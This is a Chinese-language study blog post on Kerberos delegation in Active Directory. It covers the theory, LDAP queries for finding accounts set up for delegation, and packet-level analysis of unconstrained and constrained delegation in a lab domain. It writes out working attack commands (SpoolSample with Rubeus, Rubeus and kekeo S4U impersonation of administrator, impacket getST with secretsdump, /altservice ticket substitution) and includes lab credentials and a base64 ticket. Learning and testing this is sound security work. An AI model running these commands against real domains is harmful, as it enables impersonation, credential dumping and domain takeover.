0%

基于委派的测试

基于委派的测试

为什么突然跳怎么多,因为在之前Over-pass-key 的过程,偶然间发现有两张TGT和一张ST,一直不得其解,问了很多师傅也无法解释这个现象,一开始和Dlive的讨论过程中,解释了可能是非约束性委派,但当时我不懂委派,无奈放下,恰好上一篇联系到了daiker,索性把这个问题问了下,确认该现象就是约束性委派。由此我也准备学习下委派的相关知识。

参考:

Kerberos域安全——基于委派的测试

Kerberos Delegation ——ldapwiki

Kerberos协议探索系列之委派篇

Kerberos Protocol Extensions: Service for User and Constrained Delegation Protocol——微软文档

滥用基于资源约束委派来攻击Active Directory——backlion

Kerberos无约束委派的攻击和防御——backlion

Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active Directory

结合 NTLM 中继和 Kerberos 资源约束委派提升域成员机器的控制权限

资源约束委派和NTLM Relaying的组合拳接管域内任意主机系统权限——绿盟科技博客

Delegate 2 Thyself Attack

滥用配置了无限制委派的用户——exploitph

Domain Controller Print Server + Unconstrained Kerberos Delegation = Pwned Active Directory Forest

Kerberos约束委派攻击新思路——ATTCKWing

“Relaying” Kerberos - Having fun with unconstrained delegation

利用资源约束委派进行的提权攻击分析——绿盟科技博客

开始的话

还是我常说的一些东西,我写的东西都属于笔记类型的,也就是说文章的大部分内容都是属于前辈们的,说的难听点,写的都是垃圾,分享的目的是为了记录自己所学,和别人讨论这东西,学东西没有人交流是一件痛苦的事,一旦和别人交流起来,就会加速你我的理解,笔记出于复习时能够一眼就看懂的目的,尽量写的详细和明确。

不同的委派

为了理解委派的效果,我想知道正常的委派操作应该是怎样的?我在youtube上找到一个视频,以下是我的操作记录。

实际的效果:我作为运维组成员中 itadmin 可以重置客服部的账户密码。

注:该委派和常说的委派攻击不同,为区分两种委派,分别解释为委派权限和 Kerberos 委派

在域成员机器上以itadmin身份登录,打开dsa.msc(如果没有该工具,需要安装RSAT)

注:如果该账户设置了密码永不过期,则该重置无效。

如果想撤回委派的权限,可以在对应的组中属性-安全中删除对应的账户,还可以在属性-安全-高级 中删除对应的权限项目。

注:注意上面这种委派本质是ACL的修改,和我们提到的委派有着本质的不同。

什么是Kerberos委派

参考:

Kerberos Delegation

WHAT IS KERBEROS DELEGATION?

Kerberos Constrained Delegation Overview

我理解的委派:Kerberos委派允许服务代表用户进行交互

这种功能有什么用?典型的应用场景:主机A上用户从主机B上的服务请求数据,但是请求的数据却在主机C上。

在委派的应用中是怎样的?计算机B上的服务代表计算机A上的用户与计算机C进行交互。

当前的委派有三种:

  • Unconstrained delegation(非约束性委派)

  • Constrained delegation(约束性委派)

  • Resource Based Constrained Delegation(基于资源的约束委派)

有时候也翻译为受限委派、非受限委派、基于资源的受限委派,可以在 Active Director 用户和计算机账户配置委派,但是用户账号必须设置servicePrincipalName(SPN),换一种说法,它得是我们常说的服务账户(普通账户需要使用setspn配置),计算机账户可以看做特殊的服务账户。

注:默认域控计算机账户开启了非约束性委派,不用担心混淆普通账户和服务账户,在不可委派的账号上不会有委派选项。

查找开启委派功能的账户

参考:

Attacking Kerberos Delegation

域渗透——Kerberos委派攻击:建议阅读七夜师傅原文

这里主要介绍一些工具查找此类账户,参考资料的过程可以发现有大量的powershell命令、工具命令等,我给出的建议是命令不用去记,理解原理,比如Powersploit提供的cmdlet,本质上是发起使用不同的Filter 进行LDAP查询,使用过程中涉及到的-verbose可以看到 Filter,将Filter 移植到其他LDAP查询工具上是同样的效果。

原理说明

  • 当服务账号或者主机被设置为非约束性委派时,其userAccountControl属性会包含TRUSTED_FOR_DELEGATION
  • 当服务账号或者主机被设置为约束性委派时,其userAccountControl属性包含TRUSTED_TO_AUTH_FOR_DELEGATION,且msDS-AllowedToDelegateTo属性会包含被约束的服务

——七夜

Powersploit

相关的ldapfilter参考微软的Active Directory: LDAP Syntax Filters

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#dev分支
Get-DomainComputer -Unconstrained #查找非约束委派的主机账户
Get-NetComputer -Unconstrained |Select-Object distinguishedname #查找非约束委派的主机

Get-DomainUser -ldapfilter "(userAccountControl:1.2.840.113556.1.4.803:=524288)" #使用LDAP过滤器查找非约束委派用户
Get-DomainComputer -ldapfilter "(userAccountControl:1.2.840.113556.1.4.803:=524288)" #使用LDAP过滤器查找非约束委派主机
Get-DomainComputer -Unconstrained -Properties distinguishedname,useraccountcontrol -Verbose | ft -Wrap -AutoSize
#这个命令也挺好用的

#查找约束委派的用户和主机
Get-DomainUser -TrustedToAuth
Get-DomainComputer -TrustedToAuth
Get-DomainUser -TrustedToAuth -Domain 0day.org -Verbose | fl
Get-DomainUser -TrustedToAuth -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|fl
Get-DomainComputer -TrustedToAuth -Domain 0day.org -Verbose | fl
Get-DomainComputer -TrustedToAuth -Domain 0day.org -Properties distinguishedname,useraccountcontrol,msds-allowedtodelegateto|ft -Wrap -AutoSize

Active Directory Powershell module

1
2
3
4
5
6
7
8
#查找非约束委派用户和计算机账户
get-adcomputer -ldapfilter "(userAccountControl:1.2.840.113556.1.4.803:=524288)"
get-aduser -ldapfilter "(userAccountControl:1.2.840.113556.1.4.803:=524288)"
$computers = get-adcomputer -ldapfilter "(userAccountControl:1.2.840.113556.1.4.803:=524288)"
$user = get-aduser -ldapfilter "(userAccountControl:1.2.840.113556.1.4.803:=524288)"
#查找约束委派用户和计算机账户
Get-aduser -ldapfilter "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))"
Get-ADComputer -LDAPFilter "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))"

可以根据用户或计算机的属性进行查询,实测没有ldapfilter好用,实测查询约束委派时会遗漏仅使用Kerberos的的约束委派账户。

  • 不受约束的委派:TrustedForDelegation = True
  • 约束委派:TrustedToAuthForDelegation = True
1
2
3
4
5
6
7
8
9
Get-ADUser -Filter {TrustedForDelegation -eq $true} #查找不受约束的委派用户
Get-ADComputer -Filter {TrustedForDelegation -eq $true} #查找不受约束的委派计算机账户
#注意TrustedToAuthForDelegation只有委派设置为约束委派设置为使用任何身份验证协议才为True,也就是如果选项为仅使用Kerberos约束委派该属性不为 True,也就无法过滤到账户
Get-ADUser -Filter {TrustedToAuthForDelegation -eq $True} #查找约束委派用户
Get-ADComputer -Filter {TrustedToAuthForDelegation -eq $True} #查找约束委派计算机账户

Get-ADComputer -Filter {TrustedForDelegation -eq $true -and primarygroupid -eq 516} -Properties trustedfordelegation,serviceprincipalname,description
#笔者没接触过powershell 语法之类,个人理解大致意思为查找TrustedForDelegation为True和PrimaryGroupID为516d的用户,显示4个属性TrustedForDelegation、TrustedToAuthForDelegation 、servicePrincipalName、DEscription
#这里的516的是RID为516的用户,微软的定义为域控制器组(全局组),为什么指定这个,实际为实际测试中更多的应为515,意为域计算机组(全局组)

参考:

Windows操作系统中的众所周知的安全标识符

ldapsearch

1
2
3
4
5
6
7
8
9
10
#查找域中配置约束委派用户
ldapsearch -x -H ldap://192.168.3.142:389 -D "CN=jerry,OU=客服部,DC=0day,DC=org" -w Admin12345 -b "DC=0day,DC=org" "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" |grep -iE "distinguishedName"
#查找域中配置费约束委派的主机
ldapsearch -x -H ldap://192.168.3.142:389 -D "CN=jerry,OU=客服部,DC=0day,DC=org" -w Admin12345 -b "DC=0day,DC=org" "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" |grep -iE "distinguishedName"

#另外分享一个小问题,如果查询的结果中含有非ASCII字符,那么返回的结果是一串base64编码,这里提供两种笔者找到解决办法
ldapsearch -x -H ldap://192.168.3.142:389 -D "CN=jerry,OU=客服部,DC=0day,DC=org" -w Admin12345 -b "DC=0day,DC=org" "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" |grep -iE "distinguishedName" | perl -MMIME::Base64 -MEncode=decode -n -00 -e 's/\n
> +//g;s/(?<=:: )(\S+)/decode("UTF-8",decode_base64($1))/eg;print'
#上面这个为redhat论坛上找到的解决办法,下面这个是在问L.N师傅的解决办法
echo "distinguishedName:: Q049c3Fsc3ZyLE9VPei/kOe7tOe7hCxEQz0wZGF5LERDPW9yZw==" | cut -d ' ' -f2 |base64 -d

可以看到这几个命令都类似,关键部分为过滤的条件。

(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))为查找非约束委派用户。

(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))为查找非约束委派的主机。

1
2
3
4
#查找约束委派的用户
ldapsearch -x -H ldap://192.168.3.142:389 -D "CN=jerry,OU=客服部,DC=0day,DC=org" -w Admin12345 -b "DC=0day,DC=org" "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" |grep -iE "distinguishedName|allowedtodelegateto"
#查找约束委派的主机
ldapsearch -x -H ldap://192.168.3.142:389 -D "CN=jerry,OU=客服部,DC=0day,DC=org" -w Admin12345 -b "DC=0day,DC=org" "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" |grep -iE "distinguishedName|allowedtodelegateto"

(&(samAccountType=805306368)(msds-allowedtodelegateto=*))为查找约束委派用户。
(&(samAccountType=805306369)(msds-allowedtodelegateto=*))为查找约束委派主机。

ADFind

1
2
3
4
5
6
7
8
9
AdFind [switches] [-b basedn] [-f filter] [attr list]
#非约束委派用户
AdFind.exe -b "DC=0day,DC=org" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
#非约束委派计算机账户
AdFind.exe -b "DC=0day,DC=org" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
#约束委派用户
AdFind.exe -b "DC=0day,DC=org" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
#约束委派计算机账户
AdFind.exe -b "DC=0day,DC=org" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

非约束委派原理

图来自微软kerberos协议扩展概述,便于自己理解,我重新画了个图。

非约束委派数据包细节

在抓包验证之前(想了解抓包细节的读者建议跳过笔者踩坑部分),我先说一个现象,在域内进行PTH(overpass-the-hash)实验的时候会产生3张票据(两张TGT,一张ST),并且该现象只在域控上出现,当时我问了很多师傅,一直讨论未果,这里感谢各位师傅的付出时间和耐心与我分析、讨论,最终在@daiker的指点下,指出该现象为非约束委派(域控默认为非约束委派)。

由此我开始了委派的相关学习,在学习委派的一开始,我非常想要找到关于非约束委派的细节以便加深我对整个过程的理解,以至于我浪费了很多时间甚至走错方向(比如一开始的委派权限),后来在dirkjanm的博客中发现了关于这部分的细节,结合前面的PTH现象(不适用PTH,虽然效果一样的),使用域管账户登录域成员机器对域控进行一次CIFS服务访问,进行票据查看和数据包验证。

可以注意当前用户为域管,当前机器非域控,klist显示的票据中包含两个TGT和一个ST,下面为访问过程中产生的Kerberos流量。

一开始出现了一个KDC_ERR_PREAUTH_REQUIRED,KDC要求客户端使用Kerberos预认证(使用用户的密码哈希作为密钥加密时间戳):

第二个AS-REQ则包含了预认证信息:

注:如果你的wireshark打开无法解码数据包具体内容,请参考我的解密Kerberos流量

接着看AS-REP中的信息,返回了一个TGT,使用krbtgt账户的哈希加密票据部分:

接下来是TGS-REQ包,具体内容为请求cifs的服务票据:

KDC使用TGS-REP回复CIFS的ST,到了这里一切都和正常的Kerberos认证过程没有什么不同,但是接下来客户端又向KDC发出了TGT-REQ,并且其中的kdc-options标志位有些不同,其值为0x60810010

其含义为:Forwardable, Forwarded, Renewable, Canonicalize, Renewable-ok ,其中Forwarded标志用于请求转发的TGT(委派),随后KDC使用TGS-REP响应了该请求:

TGS-REP的ST的标志位是多少呢?其Flags值为0x60a00000

并且客户端中可以看到相同标志位的票据,以及一张带有forwarded标志的TGT:

注:使用该TGT进行Pass the ticket 可请求任意服务的服务票据(是不是有点黄金票据的感觉)

这里有一个问题是,Windows如何知道是否应该请求带有forwarded标志的TGT?在Request Flags Details提到如果设置了标志位DelegateTrue,则客户端将在TGS请求中设置FORWARDABLE标志位,那么Delegate标志位在哪里?在上一个TGS-REP响应的ST标志位中有着ok_as_delegate字段:

后续的AP-REQ和AP-REP过程不用多提,可以发现,对照上面的非约束委派原理过程,抓包抓到了过程所说的

前面一部分,至于后面一部分,我没找到合适的过程演示(使用mimikatz对域控进行ptt其实也算吧)。

参考:

Kerberos协议探索系列之委派篇

Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active Directory

A Case Study in Wagging the Dog: Computer Takeover

非约束委派的利用

PTT

后面那个over-pass-hash的过程其实已经说明了这部分的操作,把over-pass-hash的部分换成抓票据和导入票据,就能对域控服务进行无限制的访问(winrm、remote-powershell)

Print Spooler服务+非约束委派提升至域控权限

参考:

Domain Controller Print Server + Unconstrained Kerberos Delegation = Pwned Active Directory Forest

Track 2 03 The Unintended Risks of Trusting Active Directory Lee Christensen Will Schroeder Matt Nel

SpoolSample

到这里非约束委派的利用有点鸡肋,如果域管没有访问过该机器,则无法获取域管的TGT,在DerbyCon 8(2018年)会议上,出现了关于该种攻击的详细描述。

当域控机器开启Print Spooler服务时(默认开启且以System权限运行),攻击者可以主动要求域控访问已被攻击者控制的非受限委派服务器,进而获取域控主机账户的TGT。当然这种攻击方式也适用于其他非域控机器。——Attacking Kerberos Delegation

本来这段准备放出测试效果的,无奈一直实验不成功。只能描述下整个过程,原视频使用的是cobalt strike演示。

我觉得这段已经描述出该种攻击的原理,原视频中包含了大量的细节,使用cobaltstrike进行演示,为了熟悉cobalt strike,使用cobalt strike.进行演示。

注:本来这一段我应该写当前的实验过程的,我测试了很久,还是没能成功复现。这里描述下整个过程和我遇到的坑点。

实验环境

  • PC-jerry-0day:0day 域的成员机器,开启非约束委派
  • OWA2010SP3:0day 域的域控

获取权限

  • PC-jerry-0day的本地管理权限(Rubeus 的监听模式需要本地管理权限)

横向步骤及命令

  • SpoolSample 通过 MS-RPRN RPC接口将域控对当前机器(非约束委派的机器)进行验证

  • Rubeus提取验证的TGT,结果为Base64编码

  • 使用Rubeus注入TGT(其他工具也行)

  • Rubeus.exe monitor /interval:1 /fileruser:OWA2010SP3$ #注意需要特权
    SpoolSample_v4.5_x64.exe OWA2010SP3 PC-JERRY-0DAY
    Rubeus.exe ptt /ticket:Base64
    <!--6-->
    

使用rubeus进行约束委派攻击

使用委派账户获取一个委派的TGT,这里使用的工具为Rubeus

1
2
3
4
5
6
7
.\Rubeus.exe asktgt /user:sqlsvr /password:Admin12345
#其他key也可以
#另外一种方式
.\Rubeus.exe tgtdeleg [/target:SPN]#该命令可直接请求当前账户发送到远程SPN带DELEGATE标志的TGT,默认SPN为:cifs/dc.domain.com
#和kekeo中的 tgt:deleg类似
doIExjCCBMKgAwIBBaEDAgEWooID2TCCA9VhggPRMIIDzaADAgEFoQobCDBEQVkuT1JHoh0wG6ADAgECoRQwEhsGa3JidGd0GwgwREFZLk9SR6OCA5kwggOVoAMCARKhAwIBAqKCA4cEggODzxrg0jTFcP+DYh/RQI7l1vME1+2EmMSCbxVcNqVyIliaGPnde/41J/RCxaexrVDc/m09w345YIqPknxFSg+/FKTrDVE8sjeaqukE0liNn8grDaywxMs1IauuchR1knSbVQw8611g1e7SboCeEajYb+EPpXNTvm2RRnqM9z6sUHuYTiy4gYe/GneiRfzkwgH4T273WFJ/fizWZiqDJqlV+Qw+vDTcwV/4vWld1x1xQokOS1IBSznbROLaDdVSwfblkdWKGqr1DyP0EK/RySO4diNPoVSRCjIhLbct3tuO02Qhg0R/uCU5xfm/f8k52imGmQ8wHAjr/dYOQ4CALS/G22sCZeNAubg3n7feOg8DWtECojh0KNyOIJJHvkXR5qJxYHuR65ibsgxGiNE8aGlL7+H2O+qMmROcaLyGxjHL87Pu8O+woKf3MXcJF6sJ1QVRH9nuZswwm/fcFIr8dLIaU+MPM3Jh2f0/CDRUnzWAVm7+/cQlUOoElOsNBszJrTOcfi1zaU86nnffGw9qDR6S3Xd4fyj6UoNI0XU4mx/UlP/Dp/Spn+GV/N0EQnV3RHb9BdWfhPFakZHWRfFyrYG5GT4kVxHJsC0aoG0JIxMBxMDGAqtlM76V+ABXgEEpUm6LEq7MhY5P+6M8Ex/StujkYebEIErrMx3Da+x7TSMrKrq1t1v/fnp2h1eigQtE7F+ZmBtyV8zxWEm91miRBoFBCA/witvKdg/YT7oXVnouvMKqPai9mP77M9WBZrltD/A5FjA8kN6wO1srW3J1oD8B1fazgimON7qOjmA6p24cyRGmJR3mYVxfL3SN1oZhNzI7hUty+Ywtrfsmy89cSRud0XcOb19wLdK9v2B4iExJEXYzwomiEsFdnaXXArHQsD8xsz1wB+uObLJt2OX4W4lznN86/Ct6zBuHDZgWEoVsA7aValMQOcvRdWOG2hfwDCRzyUc9rIaPcwBZ2UoDjC/WelCTIu3VMyWBmoe5CCzFpkpx5vhuF7X/OYbAFXytK+fZcLnHLeDP1R81UQS6uqjAG9MLsId7uFk9LEyQ+kIQ4mWa01VBbps1Zj2xaxsrnlh97cKOl66nLD9jzzOHe3J2j4zQM7bTayq7MSoccR9fHjdZkZPy5odiAfmswY6sJwqoHHOmry1bNWCgEvh9u6L/zSLAnsoczCTTPushn88BuRiEXBKjgdgwgdWgAwIBAKKBzQSByn2BxzCBxKCBwTCBvjCBu6ArMCmgAwIBEqEiBCCtNxaDmYUk7AtphWo+BqA4nVXJzXZYFj42XCfhAj6Up6EKGwgwREFZLk9SR6ITMBGgAwIBAaEKMAgbBnNxbHN2cqMHAwUAYKAAAKURGA8yMDIwMDQxMzAyMDc0MVqmERgPMjAyMDA0MTMxMTQ3MTZapxEYDzIwMjAwNDE5MTU1OTQzWqgKGwgwREFZLk9SR6kdMBugAwIBAqEUMBIbBmtyYnRndBsIMERBWS5PUkc=
.\Rubeus.exe s4u /ticket:base64(ticket.kirbi) /impersonateuser:administrator /domain:0day.org /msdsspn:cifs/OWA2010SP3.0day.org /dc:OWA2010SP3.0day.org /ptt

注:如果当前机器 .net 版本低于 Rubeus 编译版本会出现一些错误

可以看到我这里用户发生了变化,主要的操作为委派账户

查看 TGT 票据的详细信息,可以看到使用tgtdeleg请求的TGT带有forwarded标志。

使用kekeo进行约束委派攻击

1
2
3
4
tgt::ask /user:sqlsvr /domain:0day.org /password:Admin12345 #申请TGT
# 支持/rc4 /aes128 /aes256
tgs::s4u /tgt:TGT_sqlsvr@0DAY.ORG_krbtgt~0day.org@0DAY.ORG.kirbi /user:administrator@0day.org /service:cifs/OWA2010SP3.0day.org
kerberos::ptt TGS_administrator@0day.org@0DAY.ORG_cifs~OWA2010SP3.0day.org@0DAY.ORG.kirbi

注:如果在机器权限抓到了约束委派账号的TGT,可直接s4u,另外安全客上的文章还介绍了主机账号,原理类似,你把主机账号看成特殊的服务账号在看这个过程,过程都相同的。

impacket

参考:

1
2
3
4
5
6
getST.py -spn cifs/OWA2010SP3.0day.org -impersonate Administrator 0day.org/sqlsvr:Admin12345
#如果时间相差太大时是无法申请成功的,可使用 net tmis -S Domain control(ip),真实环境建议不要这么设置
export KRB5CCNAME=Administrator.ccache
sudo -- sh -c -e "echo '192.168.3.142 OWA2010SP3.0day.org ' >> /etc/hosts" #用完之后记得删除这条记录
echo '192.168.3.142 OWA2010SP3.0day.org' | sudo tee -a /etc/hosts #推荐这个
secretsdump.py -k -no-pass OWA2010sp3.0day.org

约束委派数据包的细节

这里我直接使用impacket产生的数据包进行分析,结合@daikerWindows-protocol_s4u2self_s4u2proxy部分对整个过程有一个直观的认识。

注:此处我啰嗦一点,又复习下曾经学过的网络和前面的Kerberos 协议,有基础的朋友请跳过,学习Kerberos 安全的过程就是反复和Kerberos 协议打交道的过程。

TCP 三次握手

我一点点介绍,一开始是TCP三次握手:

  • 第一次握手(标志位 SYN =1 ,SEQ=0)

  • 第二次握手(标志位 SYN=1、ACK=1 ,SEQ=0,ACK num= 0+1)

  • 第三次握手(标志位 ACK=1、ACK num =0+1)

three-way-handshake

注:图来自三次握手与四次挥手

AS-REQ

然后进行进行Kerberos AS-REQ/AS-REP交换,注意第一次没有使用预认证,KDC要求预认证,所以返回了KRB5KDC_ERR_PREAUTH_REQUIRED错误。所谓的预认证就是使用密码散列(用户)加密时间戳,我这里为了理解将第二次 AS-REQ 的过程放在一起对比,可以看到第二次主要多了kRB5-PADATA-ENC-TIMESTAMP字段,这部分就是预认证的内容。

etype加密类型,cipher为加密的时间戳(有谁能验证这个密文吗?)。

注:不理解这些字段的建立阅读@daiker师傅的Kerberos篇-AS_REQ(笔者你是不是很懂?不,我写笔记的时候边看daiker师傅文章边学的)

本来想继续说RST这部分数据包,无奈发现解释不下去了,触及到知识盲区了,有会的师傅普及下,emm(忘记网络那一套了)。

@harmj0y提到可以使用JavaScript ASN.1解码器来可视化wireshark导出的Kerberos数据包字节,不过不明白这样的用途是什么,作者的原话是构建ASN.1 编码的AS-REQ,用它看数据包原始格式,我试图看结构,发现还是wireshark方便。

AS-REQ阶段主要由两部分组成,padatareq-body,req-body部分的信息如下:

1
2
3
4
5
6
7
8
9
10
#这里只介绍一部分值的意义,其余的笔者觉得大致都能看懂
kdc-options:0x50800000 #请求选项
CNameString: sqlsvr #请求的用户名
realm: 0DAY.ORG #请求的域名
SNameString: krbtgt #RFC文档为PrincipalName,大致理解为目标SPN的前缀
SNameString: 0DAY.ORG #请求的目标SPN
till: 2020-04-15 12:37:15 (UTC) #发送时间
rtime: 2020-04-15 12:37:15 (UTC) #到期时间
nonce: 318164666 #随机数,注意@daiker师傅有提到常用的Kekeo、mimikatz、rubeus中该字段为固定值
#kekeo、mimikatz中为12381973,Rubeus中为1818848256,这里使用的工具为impacket,源码中采用伪随机生成

AS-REP

AS-REP阶段开始变得复杂,主要的结构由padatacnmaeticketenc-part组成,其中ticket部分就是我们常说的TGT,使用krbtgt账号hash加密,enc-part部分AS使用用户hash加密(我这里配置了密钥,所以解码了里面的字段)。

1
2
3
4
5
6
7
CNameString:sqlsvr #上面截图中没展开,在cname结构中,请求的用户名
#ticket部分最后的cipher为不可读密文
另外在说明Kerberos协议是老说TGT中包含
#说明一下enc-part,前面说过,该部分字段为密文,使用的是请求用户的hash,客户端是可以解密的,解密后的内容为encASRepPart部分
keyvalue:51dff8679ded…… #下一阶段Client/TGS 交互使用的Session key,简称Client/TGS SessionKey
flags: 50e00000 #响应Kerberos的选项,具体值体现为票据中的标志位
#后面的snmae字段同上

TGS-REQ

来到第一个TGS-REQ,主要结构PA-DATA PA-TGS-REQPA-DATA PA-FOR-USERre-body

其中PA-DATA PA-TGS-REQ部分主要字段为ap-req,ap-req中主要部分为ticketauthenticator,ticket部分可以注意到和AS-REP中的ticket是一模一样的。

authenticator字段部分使用Client/TGS session key(至于这个密钥怎么来的?AS-REP部分中的Session key就是该Session key),可以看到里面包含客户端的一些信息(crealmcnameStringctime等等)。

参考:PA-FOR-USER

PA-DATA PA-FOR-USER字段是使用S4U2self 协议之后添加的新Padata,其中KerberosString字段表示用户的身份,还记得S4U2self的描述吗?

The S4U2self extension allows a service to obtain a service ticket to itself on behalf of a user

——S4U2self

S4U2self 使得服务可以代表用户获得针对服务自身的kerberos服务票据

——S4U2SELF——@daiker

这里代表了那个用户?”Administrator”。

此时cnamesqlsvrsname也是sqlsvr,完整的表述上面那段话:服务sqlsvr代表指定用户Administrator获得服务本身sqlsvr的服务票据。

注:如果req-body中不存在cname字段,则KDC会从Ticket中的cname获取(我这里req-body中就没有改字段,下同)。

kdc-options: 40810000字段含义为Forwardable, Renewable, Canonicalize,其中Forwardable标志很眼熟,在非约束委派的时候我提过该标志,如果设置了委派,不论是约束还是非约束,则该标志位为1。

If Delegate is set to TRUE, the client sets the FORWARDABLE option in the TGS request.

——Request Flags Details——微软协议文档

TGS-REP

TGS-REP中主要内容为tikcetenc_partticket部分是sqlsvr的服务票据,enc-part部分加密的,解密密钥则是上面的包含Client/Server SessionKey(下阶段TGS-REQ/TGS-REP认证使用)。

此时的TGS看来,cnameAdministrator,snamesqlsvr

TGS-REQ

这一段开始处于约束委派中的S4U2PROXY 协议中,该TGS-REQ中包含两个票据,第一个票据是TGT,第二个票据(additional-tickets 部分)是上一轮TGS-REQ/TGS-REP交互产生的 sqlsvr 代表指定administrator针对自身的服务票据,下图导出了该服务票据在Rubeus中的信息,可以看到UserName值为administrator@0day.org

此时的cnamesqlsvr,snamecifs/OWA2010SP3.0day.org,完整描述如下:服务sqlsvr代表(可能代理更为准确)administrator@0day.org向服务cifs/OWA2010SP3.oday.org请求服务票据,请求的凭据为TGT和administrator@0day.orgsqlsvr的服务票据。

注:该请求中PA-DATA PA-PAC-OPTIONS标志位resource-based-constrained-delegation为True,我想你和我一样有疑问,这不是约束委派吗?别急,马上说。

TGS-REP

另外@daiker师傅提到过TGS_REP中Forwardable标志的必要条件:

  • 拥有TGS(S4U2SELF阶段获得的)
  • TGS-REQ中kdc-options标志位forwardableconstrained-delegationtrue
  • 服务sqlsvr配置了到CIFS的约束委派,sname部分为SPN

第四个条件比较复杂,和S4U2SELF阶段的票据标志有关,现阶段的additional-tickets字段:

  • 如果该票据标志位forwardable为True,结合前面3个条件,则TGS_REP中Forwardable为True。

  • 如果该票据标志位forwardable为False,结合前面3个条件,只有TGS-REQ中PA-DATA PA-PAC-OPTIONS标志位resource-based-constrained-delegation为True才会产生TGS_REP中Forwardable为True。

那上面的resource-based-constrained-delegation为True也好理解了,getST为了支持基于资源的约束委派而设置了该字段,事实上,getST源码中也注明了该字段含义。

此时,sqlsvr用户拿到了用户Administrator@0day.orgcifs/OWA2010SP3.0DAY.ORG服务票据。

在下一过程 SMB 交互过程中成功使用该票据获取了权限,CName为Administrator,SNMAE为CIFS/OWA2010SP3.0DAY.ORG

注:截图没完整,仅描述。

至此,约束委派的过程结束。

票据转换的问题

参考:

Delegating like a boss: Abusing Kerberos Delegation in Active Directory

Kerberos Delegation, SPNs and More…

Rubeus-Readm文件

在使用impacket的时候,getST获取到的任何服务票据都可以 dump hash。

在我的理解里,dump hash 需要 CIFS票据,现在任何票据都能够 dump hash,我顿时感觉不好了。

再次请教@daiker师傅,找到了答案。

开启debug模式之后,发现secretsdump脚本自动做了票据转换

Rubeus的Readme中有这样一段描述:

The /altservice parameter takes advantage of Alberto Solino‘s great discovery about how the service name (sname) is not protected in the KRB-CRED file, only the server name is. This allows us to substitute in any service name we want in the resulting KRB-CRED (.kirbi) file. One or more alternate service names can be supplied, comma separated (/altservice:cifs,HOST,...).

那么Rubeus进行的约束委派利用是不是也能这样玩?是的。

1
2
.\Rubeus.exe s4u /ticket:base64(ticket.kirbi) /impersonateuser:administrator /domain:0day.org /msdsspn:dcom/OWA2010SP3.0day.org /dc:OWA2010SP3.0day.org /altservice:ldap /ptt
#注意msspn部分,下图是该票据的测试效果

那么为什么会出现这种现象呢?因为这意味约束委派也能无限制的访问任何服务。

Rubeus给出的链接已过期,我找到了另外一篇文章Kerberos Delegation, SPNs and More…说明了该原理。

There is no security boundary between processes that run under the same identity. The security descriptor on a process generally grants significant permissions to the user account under which the process is running. Thus, one service that is running under account foo can easily tamper with other service processes also running as foo.

This lack of a security boundary extends to Kerberos as well. In the Kerberos authentication protocol, a service validates in inbound service ticket by ensuring that the ticket is encrypted to that service’s symmetric key. The SPN used does not factor into this validation; in fact the AcceptSecurityContext call that the service uses to perform this validation does not include any information about the SPNs that the service expects. Were this not the case, checking the SPN from the service ticket would still provide no security protection against a malicious client. The sname field is part of the unencrypted part of the ticket. If service account foo has registered both the host/foo and http/foo SPNs then tickets to those SPNs are fully interchangeable.

简单来说,sname字段是未加密的一部分,且KDC不会检查该字段,结合起来就实现了将验证过的票据转换为任意票据的效果。

后面的话

这篇笔记写了大概两周,我想把基于资源的约束委派写完的,但是这篇笔记的字数已经挺多了,索性就发出来让大家。

如果我的笔记帮助到你,给我一点鼓励可以吗(●ˇ∀ˇ●)